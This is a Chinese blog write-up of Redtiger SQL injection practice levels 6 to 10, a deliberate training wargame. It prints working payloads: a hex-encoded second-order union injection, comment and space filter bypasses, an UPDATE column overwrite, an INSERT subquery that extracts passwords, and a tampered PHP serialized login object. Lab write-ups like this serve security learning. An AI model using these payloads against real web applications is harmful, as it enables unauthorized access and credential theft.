Redtiger SQL注入练习(二)
第六关:
点击 click me,构造url:user=1',返回user not found。user=1'',同样。
猜测是数字型注入,构造order by , user=1 order by X#,得出有5个字段。
然后,user=0 union select 1,2,3,4,5#,说user not found。不是吧。。。。
用username试试吧,user=0 union select 1,username,3,4,5 from level6_users where status=1#
返回如图:
接下来就需要找密码了。用password试了5个位置,没用。想了好长时间,没有啥思路,只能看大佬的writeup了。(参考https://blog.spoock.com/2016/07/25/redtiger-writeup/)
知道了可能是sql二次查询:
1 |
$sql = "select username,password from level6_users where id=1"; |
构造payload:user=0 union select 1,admin'union select 1,2,3,password,5 from level6_users where status=1#,3,4,5# 返回 user not found, 哦,fuck。
大佬说转换成16进制,脑子不够用,emmmmmm。
最终payload:user=0 union select 1,0x061646d696e3127756e696f6e2073656c65637420312c322c332c70617373776f72642c352066726f6d206c6576656c365f7573657273207768657265207374617475733d3123,3,4,5#
第七关:
提示如上,过滤了一堆东西,输入一个 ' 试试,报错并且返回sql语句:
思考后,先把括号闭合,然后经过测试,order by 被ban了,而且注释 # 和-- 也无效。
order by 可以直接用 union select猜 ,注释 -- ,空格可以用%a0等等替换,构造
payload:')union select 1--%a0, 只能用burp抓包改值,hackbar post提交不行,不知道为啥,搞了半天没结果。猜测出列数为4。
结果只显示,3和4.之后注入:')union select 1,2,autor,4 from level7_news--%a0
最后得到答案。
第八关:
看到4个输入框,分别输入一次单引号,发现只有email后可以注入,
然后没什么思路了,看了大佬们的操作,猜测后台的语句为:
update table set name='[inputname]',email='[inputemail]',icq='[inputicq]',age='[inputage]' where id=1
update 语句 后边的值会覆盖前边的值,比如:update table set name=1,email=2,name=2.........
此时 name最终是2。
于是我们构造:',name=password,icq='1
得到admin用户的密码。
第九关:
测试发现在text 初添加' 会报错,这里存在注入点。
猜测后台语句为:
insert into tablename(autor,title,text) values('[inputautor]','[inputtitle]','[inputtext]')。
于是构造:
'), ((select username from level9_users limit 1), (select password from level9_users limit 1),'456
得到用户名和密码。参考(https://blog.spoock.com/2016/07/25/redtiger-writeup/).
第十关:
这关和php序列化有关,比较懵。
看源代码,有一串base64加密的东西,解密得到:
a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}
提示只能用TheMaster登录,但是密码不知道,序列化,可以把密码改成布尔值为1.
于是改为:a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}
base64加密后提交过关。
Redtiger SQL注入练习(二)的更多相关文章
- SQL注入之二次,加解密,DNS等注入
#sql注入之二次注入 1.注入原理 二次注入可以理解为,构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入.恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当 ...
- SQL注入原理二
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多. 但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候 ,没有对用户输入数据的合法性进行判断,使应用程序存 ...
- sql注入总结(二)--2018自我整理
0x00前言: 继上篇的内容,这章总结下二次注入,python脚本,bypass 上篇sql注入总结(一)--2018自我整理 0x01二次注入: 二次注入的原理是在把非法代码添加进数据库里面存储了, ...
- 170605、防止sql注入(二)
java filter防止sql注入攻击 原理,过滤所有请求中含有非法的字符,例如:, & < select delete 等关键字,黑客可以利用这些字符进行注入攻击,原理是后台实现使 ...
- Redtiger SQL注入练习(一)
感觉会的东西太少了,以后要多练习,多写博客.要坚持学习,一定不能放弃,为梦想奋斗. redtiger 这个平台早就开始做了,但是才做到第4关.... 第一关: 打开题, 先随便试,后来发现点击 Ca ...
- 十七:SQL注入之二次加解密,DNS注入
加解密,二次,DNSlog注入 注入原理,演示案例,实际应用. less-21关,base64进行解密 encode加密decode解密 cookie处注入 判断加密算法,然后进行注入 less-24 ...
- SQL注入篇二------利用burp盲注,post注入,http头注入,利用burpsuit找注入点,宽字节注入
1.布尔盲注burpsuit的使用 先自己构造好注入语句,利用burpsuit抓包,设置变量,查出想要的信息. 比如----查数据库名的ascii码得到数据库构造好语句 http://123.206. ...
- C#防SQL注入代码的实现方法
对于网站的安全性,是每个网站开发者和运营者最关心的问题.网站一旦出现漏洞,那势必将造成很大的损失.为了提高网站的安全性,首先网站要防注入,最重要的是服务器的安全设施要做到位. 下面说下网站防注入的几点 ...
- sql注入的防护
一.严格的数据类型 在Java,C#等高级语言中,几乎不存在数字类型注入,而对于PHP,ASP等弱类型语言,就存在了危险. 防御数字型注入相对简单,如果不需要输入字符型数据,则可以用is_numeri ...
随机推荐
- Netty源码分析(四):EventLoopGroup
无论服务端或客户端启动时都用到了NioEventLoopGroup,从名字就可以看出来它是NioEventLoop的组合,是Netty多线程的基石. 类结构 NioEventLoopGroup继承自M ...
- 补习系列(11)-springboot 文件上传原理
目录 一.文件上传原理 二.springboot 文件机制 临时文件 定制配置 三.示例代码 A. 单文件上传 B. 多文件上传 C. 文件上传异常 D. Bean 配置 四.文件下载 小结 一.文件 ...
- 五一之起一台服务器玩玩-u盘安装centos
之前淘宝买的300块钱笔记本,就是拿来练手的,但是命令基本都知道了,不来练手,学习下去就没有动力了啊. 对于新的笔记本,我们怎么安装系统呢?能去官网就去官网,你绝对没有体验过睡一晚早上起来服务器就被黑 ...
- UML简单介绍-如何看懂UML(一)
在计算复杂的数学题时,我们必然会打草稿计算 在绘画课中,我们可以素描出来看到的事物 那么在程序设计中呢? 如何描绘传达你脑海中的关于这个程序 ,设计的蓝图草稿? OOP的程序设计中,最多的自然 ...
- 什么是平衡二叉树(AVL)
前言 Wiki:在计算机科学中,AVL树是最早被发明的自平衡二叉查找树.在AVL树中,任一节点对应的两棵子树的最大高度差为1,因此它也被称为高度平衡树.查找.插入和删除在平均和最坏情况下的时间复杂度都 ...
- 第22章 使用外部身份提供商登录 - Identity Server 4 中文文档(v1.0.0)
ASP.NET Core有一种灵活的方式来处理外部身份验证.这涉及几个步骤. 注意 如果您使用的是ASP.NET Identity,则会隐藏许多基础技术细节.建议您还阅读Microsoft 文档并执行 ...
- [Winfrom] 使用一个启动快捷方式,打开2个不同的窗体并且共用一个缓存空间
之所以有这个功能,是不想再给后台和前台写一套通讯机制的情况下偷懒的办法! 之前发现在主函数里面写方法,第二次启动程序打开新窗体或是显示隐藏窗体!最后却发现在主函数里面打开的新窗体和原启动的程序并不是共 ...
- Java高阶语法---Volatile
背景:听说Volatile Java高阶语法亦是挺进BAT的必经之路. Volatile: volatile同步机制又涉及Java内存模型中的可见性.原子性和有序性,恶补基础一波. 可见性: 可见性简 ...
- java的ArrayList源码摘要
ArrayList本质上是一组对象数组,ArrayList有三种构造方法 1.指定长度创建ArrayList,2.默认长度为10创建.3,用旧的集合创建一个ArrayList. 对ArrayList的 ...
- Mongo基础 索引的使用
MongoDB中的索引和其他数据库索引类似,也是使用B-Tree结构.mongodb的索引是在collection级别上的,并且支持在任何列或者集合内的文档的子列中创建索引. 所有的MongoDB集合 ...